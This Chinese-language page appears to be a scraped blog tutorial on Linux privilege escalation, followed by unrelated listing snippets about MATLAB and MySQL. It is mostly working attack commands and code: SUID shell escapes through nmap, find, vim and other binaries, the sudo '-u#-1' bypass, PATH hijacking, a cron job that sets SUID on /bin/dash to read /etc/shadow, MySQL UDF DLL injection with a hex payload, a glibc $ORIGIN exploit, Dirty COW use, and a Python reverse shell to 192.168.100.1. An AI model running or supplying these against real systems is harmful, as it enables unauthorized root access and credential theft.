    2.1 利用前提

    1. SUID只对二进制文件有效
    2. 调用者对该文件有执行权
    3. 在执行过程中,调用者会暂时获得该文件的所有者权限
    4. 该权限只在程序执行的过程中有效

    2.2 SUID/SGID/SBIT:

    1. SUID:set_uid(强制位): [s 4]
      • 它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。,(必须是可执行,二进制的,不能在目录上设置suid的权限。)
    2. SGID:set_gid sgid: [s 2]
      • 它出现在文件所属组权限的执行位上面,它对普通二进制文件和目录都有效。当它作用于普通文件时,和SUID类似,在执行该文件时,用户将获得该文件所属组的权限。当SGID作用于目录时,意义就非常重大了。当用户对某一目录有写和执行权限时,该用户就可以在该目录下建立文件,如果该目录用SGID修饰,则该用户在这个目录下建立的文件都是属于这个目录所属的组。
    3. SBIT:stick_bit : [t 1 ]
      • 它出现在其他用户权限的执行位上,它只能用来修饰一个目录。当某一个目录拥有SBIT权限时,则任何一个能够在这个目录下建立文件的用户,该用户在这个目录下所建立的文件,只有该用户自己和root可以删除,其他用户均不可以。

    2.3 SUID 提权

    SUID 可以让调用者以文件拥有者的身份运行该文件,因此利用 SUID 提权的思路就是运行 root 用户所拥有的 SUID 的文件,那么我们运行该文件的时候就得获得 root 用户的身份了。

    2.4 查找可利用的 SUID 文件

    find / -perm -u=s -type f 2>/dev/null
    find / -user root -perm -4000 -print 2>/dev/null
    find / -user root -perm -4000 -exec ls -ldb {} \;
    命令解析:
    /		表示从文件系统的顶部(根)开始并找到每个目录
    -perm 	表示搜索随后的权限
    -u=s	表示查找root用户拥有的文件
    -type	表示我们正在寻找的文件类型
    f		表示常规文件,而不是目录或特殊文件
    2		表示该进程的第二个文件描述符,即stderr(标准错误)
    >		表示重定向
    /dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
    

    2.5 已知可用来提权的命令

    文件需拥有 SUID 权限

    2.5.1 nmap 提权

    nmap --interactive
    nmap> !sh
    sh-3.2.5# whoami
    root
    

    2.5.2 find 提权

    $ touch guid.txt
    $ ls -la guid.txt
    -rw-rw-r-- 1 moonteam moonteam 0  7月  4 18:22 guid.txt
    
    $ find guid.txt -exec whoami \;
    root
    
    $ find guid.txt -exec /bin/sh \;
    #
    

    2.5.3 bash 提权

    $ bash -p
    #
    

    2.5.4 cp 提权

    sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
    # cp filename
    
    # 通过 cp chmod 提权
    sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
    

    2.5.5 more/less 提权

    more /etc/passwd
    !/bin/bash
    less /etc/passwd
    !/bin/sh
    

    2.5.6 awk 提权

    awk 'BEGIN {system("/bin/bash")}'
    

    2.5.7 vim 提权

    vim file
    :!whoami
    # 或者
    vim -c ':!whoami'
    

    2.5.8 man 提权

    man passwd
    !/bin/bash
    

    2.5.9 python 提权

    import os
    os.system("/bin/bash")
    

    2.5.10 tcpdump 提权

    echo $'id\ncat /etc/shadow' > /tmp/.test
    chmod +x /tmp/.test
    sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
    

    2.5.11 perl 提权

    exec "/bin/bash";
    

    2.3 反弹 shell

    若靶机上存在 python 环境,可开启反弹 shell

    在本地监听 1234 端口

    nc -vlp 1234
    

    在靶机上反弹一个 sh 类型的 shell:

    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.100.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    3 Sudo 提权

    使用 sudo 可以执行一个 root 才能执行的命令,但是需要输入密码,这个密码并不是 root 的密码而是用户自己的密码。默认只有 root 用户能使用 sudo 命令,普通用户想要使用 sudo 需要 root 预先设定。

    3.1 配置 sudo 账户

    使用 visudo 命令去编辑相关的配置文件 /etc/sudoers

    # 指定编辑器编辑 /etc/sudoers
    EDITOR=gedit visudo
    
    # 让用户 test 以任意非 root 身份运行 vim、id 命令
    test ALL = (ALL, !root) /usr/bin/vim
    test ALL = (ALL, !root) /usr/bin/id
    
    # test 指定 test2 用户运行 vim
    sudo -u test2 vim
    # 或直接指定用户的 UID 来代替用户名。(假定 test2 用户的 UID 为 1003)
    sudo -u#1003 vim
    

    3.2 sudo 漏洞

    苹果安全研究员 Joe Vennix 就在 sudo 上发现了一个漏洞,只要用户在使用 sudo 命令时指定 UID 为 -14294967295 ,就可以以 root 身份执行命令。

    产生原因是 sudo 命令在将 UID 转换为对应用户时,会将 -14294967295 这两个异常数字视为 0 ,而 0root 用户的 UID

    例如,下面的命令就可以利用这个漏洞以 root 身份运行 /usr/bin/id ,即使 /etc/sudoers 文件明确拒绝用户 test 这样做。

    # visudo 配置
    # User privilege specification
    test	ALL=(ALL,!root) /usr/bin/id
    
    # 登陆 test 用户测试 sudo 漏洞
    $ sudo id
    对不起,用户 test 无权以 root 的身份在 moonteam-virtual-machine 上执行 /usr/bin/id。
    $ id
    uid=1001(test) gid=1001(test) 组=1001(test)
    $ sudo -u#-1 id
    uid=0(root) gid=0(root) 组=0(root)
    
    

    3.3 利用 sudo 配置不当提权

    如果在赋予普通用户相应权限时,使其以 root 用户身份执行,导致提权漏洞:

    # 如 find
    sudo find . -exec /bin/sh \; -quit
    
    sudo sh
    # 复制 chmod 执行文件到当前目录,给当前目录下的 chmod 命令增加 SUID 权限。
    sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
    类似的有:
    sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
    sudo sh -c 'cp $(which find) .; chmod +s ./find'
    

    4 劫持环境变量提权

    所利用的命令为:/usr/bin/env /bin/bash

    4.1 创建 env_exp.c 文件

    //env_exp.c
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <stdio.h>
    
    int main(int argc, char **argv, char **envp)
    {
     gid_t gid;
     uid_t uid;
     gid = getegid();
     uid = geteuid();
    
     setresgid(gid, gid, gid);
     setresuid(uid, uid, uid);
    
     system("/usr/bin/env echo and now what?");
    }
    

    4.1.1 编译 env_exp.c 文件

    gcc -o env_exp env_exp.c
    
    # root 模式下配置 env_exp SUID 权限
    chmod u+s env_exp
    
    # 验证 env_exp 
    ./env_exp 
    and now what?
    

    4.2 创建自定义 echo 命令

    4.2.1 创建 echo.c 文件

    // tmp 目录文件下
    // echo.c
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <sys/types.h>
    #include <stdio.h>
    
    int main(int argc, char **argv, char **envp)
    {
      system("/bin/bash");
    }
    

    4.2.2 编译 env_exp.c 文件

    gcc -o echo echo.c
    

    4.2.3 验证

    普通用户,/tmp 目录下:

    # 查看当前 PATH 环境变量
    $ echo $PATH
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
    
    # 配置把当前 tmp 目录增加到环境变量
    $ export PATH=.:$PATH
    
    # 查看此时 PATH 环境变量
    $ echo $PATH
    .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
    
    $ ./env_exp 
    设置了PATH 执行 env_exp 的时候会优先从当前目录下查找程序。所以 echo 命令会被劫持,
    

    执行 env_exp 程序,由于 env_exp 程序具有 suid 位,所以 env_exp 会以自身权限执行 /tmp/echo 命令。/tmp/echo又以 env_exp 的权限执行了/bin/bash命令,因此我们得到了一个 env_exp 权限的 shell

    5 CRON JOBS 提权

    5.1 /tmp 下创建 getdash.py 脚本:

    #!/usr/bin/python
    # 
    import os
    import sys
    try:
    	os.system('chmod u+s /bin/dash')
    except:
    	sys.exit()
    

    5.2 赋予权限:

    chmod +x getdash.py
    ls -la getdash.py
    

    5.3 设置计划任务

    配合 crontab 设置计划任务,并每隔1分钟运行一次 getbash.py :

    vim /etc/crontab
    1 * * * *   root  /tmp/getdash.py
    

    5.4 执行 dash

    ls -la /bin/dash
    -rwsr-xr-x 1 root root 121272  2月 19  2014 /bin/dash
    
    $ dash
    # cat /etc/shadow
    

    6 MYSQL UDF提权

    MySQL UDF提权执行系统命令_谢公子的博客-CSDN博客_udf提权

    6.1 什么是 UDF

    UDF (user defined function),即用户自定义函数。根据MySQL函数族的可扩展机制,意味着用户可以自己建立包含有自定义函数的动态库来创建自定义函数。

    6.2 利用方式

    原理:通过自定义库函数来实现执行任意的程序

    前提: 在 mysql 库下必须有 func 表,并且在 ‑‑skip‑grant‑tables 开启的情况下,UDF 会被禁止;

    利用途径: 通过获得的插件库路径,找对应操作系统的 udf 库文件,利用 udf 库文件加载函数并执行命令

    # 查看  secure_file_priv  的值
    show global variables like 'secure%';
    `secure_file_priv`  参数的值不能动态更改,只能在 Mysql 的配置文件中修改,重启生效。
        - NULL :默认,表示限制 Mysql 不允许导入导出。 
        - /dir/ :表示限制 Mysql 的导入|导出只能发生在 /dir/ 目录下
        - 空值:表示不限制 Mysql  的导入|导出
    
    # 获取插件库路径
    mysql> show variables like "%plugin%";
    
    # 查看系统构架
    mysql> show variables like "%compile%";
    
    # 找对应操作系统的 payload 库文件
    可以去 kali 中/usr/share/metasploit-framework/data/exploits/mysql/ 下载对应的文件
    
    # 将dll文件写入 plugin 目录,并且创建函数
    创建一个表并将二进制数据插入到十六进制编码流中。可以通过insert语句或将其分解为多个部分,然后使用 update 语句拼接二进制数据。
    create table temp(data longblob);
    insert into temp(data) values (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000000000000000000);
    update temp set data = concat(data,0x33c2ede077a383b377a383b377a383b369f110b375a383b369f100b37da383b369f107b375a383b35065f8b374a383b377a382b35ba383b369f10ab376a383b369f116b375a383b369f111b376a383b369f112b376a383b35269636877a383b300000000000000000000000000000000504500006486060070b1834b00000000);
    select data from temp into dumpfile "D:/Programs/PHPStudy/MySQL/lib/plugin/udf.dll";
    
    # 创建函数 sys_eval
    # 引入的函数是 sys_eval
    # shared_library_name(共享包名称): udf.dll
    create function sys_eval returns string soname 'udf.dll';
    #查看创建的sys_eval函数
    select * from mysql.func where name = 'sys_eval';
    
    # 使用系统命令
    # 将 udf.dll 文件写入 plugin 目录后,便可以使用 sys_eval 函数
    select sys_eval('whoami');
    

    7 GNU C library动态链接区$ORIGIN溢出提权

    适用于 RHEL5-RHEL6 CENTOS5-CENTOS6 提权

    提权教程:GNU C library动态链接区$ORIGIN溢出提权 - 血梦博客 - 专注于网络安全|黑客学习|渗透测试|代码审计|国内最专业的黑客技术博客 (hacksec.cn)

    mkdir /tmp/exploit
    ln /bin/ping /tmp/exploit/target
    exec 3< /tmp/exploit/target
    ls -l /proc/$$/fd/3
    rm -rf /tmp/exploit/
    cat > payload.c
    void __attribute__((constructor)) init()
    {
       setuid(0);
       system("/bin/bash");
    }
    
    gcc -w -fPIC -shared -o /tmp/exploit payload.c
    LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
    
    

    8 脏牛漏洞提权

    8.1 脏牛漏洞

    又叫Dirty COW,存在Linux内核中已经有长达9年的时间,在2007年发布的Linux内核版本中就已经存在此漏洞。Linux kernel 团队在2016 年 10 月 18 日已经对此进行了修复。

    原理分析:Linux 内核的内存子系统在处理写入复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。竞争条件,指的是任务执行顺序异常,可导致应用崩溃,或令攻击者有机可乘,进一步执行其他代码。利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获得 root 权限。

    漏洞范围:Linux内核 >= 2.6.22(2007 年发行,到 2016 年 10 月 18 日才修复)

    EXP地址:FireFart/dirtycow (github.com)

    POC地址:aishee/scan-dirtycow: Scan vuls kernel CVE-2016-5195 - DirtyCow (github.com)

    8.2 利用前提

    获得一台 unix 靶机的 Webshell 后门。

    8.3 上传 EXP 文件到靶机

    1. 通过蚁剑上传 exp 文件(也可以对 exp 进行编译后上传)。

    2. 通过如下命令编译 EXP 文件:

      gcc -pthread dirty.c -o dirty -lcrypt
      chmod +x dirty
      

    8.4 提权

    执行编译后的 Payload,并设置密码为"yourpasswd",默认提权后的用户名为 firefart

    ./dirty yourpasswd
    

    提权成功后截图:

    image-20210828190826775

    使用 su firefart 或者 ssh firefart@host 远程连接靶机:

    image-20210828191020133

    提权成功!

    展开全文
  • matlab处理txt文本文件

    2021-04-18 08:44:07
    字段(中、英文字段均可)+数据: 源文件: CODE: CH0 CH1 CH2 CH3 0.000123 0.000325 0.000378 0.000598 0.000986 0.000256 0.000245 0.000698 解答:由于是记录的形式,因此各行列数必相同(缺少部分列时请自行...
  • Mysql 

    2021-02-02 10:20:31
    ==============================================mysql udf 权==============================================版本的区分MYSQL < 4.1在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到...
  • udf权原理详解

    2021-01-19 18:47:40
    0x00-前言这个udf权复现搞了三天,终于搞出来了。网上的教程对于初学者不太友好,以至于我一直迷迷糊糊的,走了不少弯路。下面就来总结一下我的理解。想要知道udf权是怎么回事,首先要先知道udf是什么。环境:本...
  • 建立目录:mkdir 目录2.删除空目录:rmdir 目录3.无条件删除子目录: rm -rf 目录4.改变当前目录:cd 目录 (进入用户home目录:cd ~;进入上一级目录:cd -)5.查看自己所在目录:pwd6.查看当前目录大小:du7....
  • 如果用户切换到root用户时使用su -命令,或者该用户从不切换到root用户,那么下面讲的权技巧是无用的。su 与 su – 命令的区别:su 是切换到其他用户,但是不切换环境变量(比如说那些你用export命令查看一下,就...
  • MySQL权篇

    万次阅读 2018-05-12 10:04:10
    一、Mysql权必备条件1.服务器安装Mysql数据库利用Mysql权的前提就是服务器安装了mysql数据库,且mysql的服务没有降权,Mysql数据库默认安装是以系统权限继承的,并且需要获取Mysql root账号密码。2.判断Mysql...
  • Windows

    千次阅读 2021-12-09 20:38:34
    目录为什么权Windows权的常见方法权的常用命令内核漏洞Vulmap【windows????linux????】wesngWindowsVulnScan(国)在线查询可写目录或文件目录扫描上传cmd本地权at权(旧系统)SC权(旧系统)PSTools...
  • 一、利用xp_cmdshell权xp_cmdshell默认是关闭的,可以通过下面的命令打开EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;如果xp_cmdshell被删除了,...
  • 特别说明:由于大家在 I/O 存取上以 txt 文件为主,且读取比存储更麻烦(存储的话 fwrite, fprintf 基本够用),因此下面的讨论主要集中在“txt 文件的读取”上。除了标注了“转”之外,其余心得均出于本人经验之结果...
  • 权扫描工具使用 Windows-Exploit-Suggester Windows-Exploit-Suggester这个工具很强,但是依赖更新了,所以有几个坑,我记录一下 1、安装 git clone ...
  • 渗透测试权指南

    千次阅读 2021-12-03 09:04:49
    windows系统权 参考内网安全攻防:渗透测试实战指南(百度百科) 一.系统内核漏洞 利用已存在未安装补丁的漏洞进行权 参考Windows系统内核溢出漏洞权 1.手动寻找缺失补丁 拿到权限后通过如下命令查看系统安装了...
  • MYSQL权总结

    2021-01-18 18:28:20
    经擦遇到了MYSQL数据库,想尽办法权,最终都没有成功,很是郁闷,可能是自己很久没有研究过权导致的吧,总结一下MYSQL权的各种姿势吧,权当复习了。关于mysql权的方法也就那么几种,希望也能帮到各位小伙伴...
  • 最近在复习mysql权,所以正好写篇文章总结一下关于mysql的常见权姿势相关操作select @@version; 查询数据库版本select @@basedir; 查询MYSQL安装路径select @@plugin_dir ; 查看plugin路径select host, user, ...
  • 利用mysql的几种权方式

    万次阅读 2018-08-06 08:34:39
    注:这里我看到网上的资料都是讲mysql.txt导入到数据库中,mysql.txt也就是udf.dll文件的2进制转换为16进制,这里我不太清楚为什么需要转成十六进制,但是我知道如果udf.dll文件成功导入到plugin目录是可以成功反弹...
  • 整体流程如下: Machines环境配置 Nmap端口扫描 Gobuster目录扫描 opennetadmin后台泄露 蚁剑一句话木马获取Webshell 敏感文件分析及获取User HASH解密和权限提升 John获取私钥及ROOT shell权 作者作为网络安全的...
  • 在Linux中使用环境变量进行权 secist 2018-06-20 13:00:30 521492 6 在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入...
  • 域渗透之内网

    千次阅读 2021-11-12 16:01:34
    一、权方法 常用的权方法 系统内核溢出权 数据库权 错误的系统配置权 组策略首选项权 DLL劫持权 滥用高权限令牌权 第三方软件/服务权 二、内核溢出权 电脑里的数据就好比水缸里的水,正常情况...
  • MSSQL注入权思路:SA权限:利用XP_CMDSHELL,Sp_OACreate等储存过程直接权.(前提储存过程健在)相关SQL语句XP_CMDSHELL:数字型;EXEC MASTER.DBO.XP_CMDSHELL 'CMDLINE'--字符型&搜索型';EXEC MASTER.DBO.XP_CMD...
  • 若该文件已存在,提示用户存在后,创建为:test_副本1.txt 的文件 // * 若该文件也存在了,则创建为:test_副本2.txt 的文件,以此类推 file = new File("test_副本" + index + ".txt"); flag = file.exists(); }...
  • 0x00 Sql server权基础 Sql server也称Mssql Server,是微软家的数据库,但是要注意,sql server同样也能在linux中安装使用,本文主要记录sql server的权方式。 sql server权主要依赖于sql server自带的存储...
  • 渗透测试往往由信息收集开始,而权是渗透测试中较为重要的环节,若始终以“低权限”身份进行渗透,测试出的问题相对于高权限的质量会低很多,权限提升意味着用户获得不允许他使用的权限。比如从一个普通用户,通过...
  • 目录1、MSSQL概述2、常规使用3、xp_cmdshell权4、sp_oacreate权 1、MSSQL概述 MSSQL(MicroSoft SQL Server数据库),是微软开发的关系型数据库管理系统DBMS,是一个较大型的数据库,提供数据库的从服务器到终端的...
  • 1、内核权。网上各种大佬的payload很多,关键在于要能找到利用哪个exp以及具体如何利用。省力点的方法是用searchsploit或者linux-exploit-suggester.sh来查找,熟悉之后难度也不大。 2、suid权。这里也包含了...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 35,382
精华内容 14,152
关键字:

名提txt